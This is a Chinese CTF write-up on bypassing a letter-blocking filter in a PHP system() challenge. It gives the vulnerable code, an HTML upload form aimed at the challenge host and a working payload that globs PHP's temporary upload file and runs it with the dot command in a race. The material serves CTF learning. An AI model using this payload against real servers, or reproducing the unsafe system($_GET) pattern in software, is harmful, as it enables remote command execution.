命令执行:无字母命令执行/.(点)在命令执行中的应用
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
过滤了字母a-z且不分大小写
解决过程:
1.本地构造一个POST上传页面:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="https://14f41abd-4eed-4f55-9539-00a66a006c94.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
(我的做法是的的确确上传了一个PHP,内容为
#!/bin/sh ls
(<?php被我删掉了,然后也不要加分号。)
url:
?c=.+/???/????????[@-[]
原理如下:
当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????去匹配这个文件。
这里又会出现一个问题:符合这样的文件有好几个,这样其实匹配不到刚刚上传的文件。
翻阅p神文章可以知道,与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@,把Z改为Z的后一位[来匹配大写字母。
那么最终payload为c=. /???/????????[@-[]
.(点)就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。
用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。
*这里我连发了几次才获取到了结果